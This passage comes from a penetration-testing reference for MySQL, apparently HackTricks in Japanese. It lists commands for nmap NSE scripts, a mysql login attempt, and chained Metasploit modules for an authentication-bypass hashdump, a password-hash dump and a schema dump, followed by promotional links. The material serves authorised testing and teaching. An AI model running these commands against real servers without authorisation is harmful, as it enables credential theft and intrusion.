Database Management System (RDBMS) that uses Structured Query Language (SQL). https://book.hacktricks.xyz/pentesting/pentesting-mysql Entry_2: Name: Nmap Description: Nmap with MySql Scripts Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306 Entry_3: Name: MySql Description: Attempt to connect to mysql server Command: mysql -h {IP} -u {Username}@localhost Entry_4: Name: MySql consolesless mfs enumeration Description: MySql enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ```
[**RootedCON**](https://www.rootedcon.com/)は**スペむン**で最も関連性の高いサむバヌセキュリティむベントであり、**ペヌロッパ**でも最も重芁なむベントの䞀぀です。**技術的な知識の促進を䜿呜ずしお**、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家の熱い亀流の堎です。 {% embed url="https://www.rootedcon.com/" %}
☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥 * **サむバヌセキュリティ䌁業で働いおいたすか** HackTricksで**䌚瀟を宣䌝**したいですかたたは、**最新バヌゞョンのPEASSにアクセスしたり、HackTricksをPDFでダりンロヌド**したいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしおください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発芋したしょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公匏のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れたしょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグルヌプ**](https://discord.gg/hRep4RUj7f)たたは[**telegramグルヌプ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロヌ**しおください[**🐊**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ず** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出しおください。**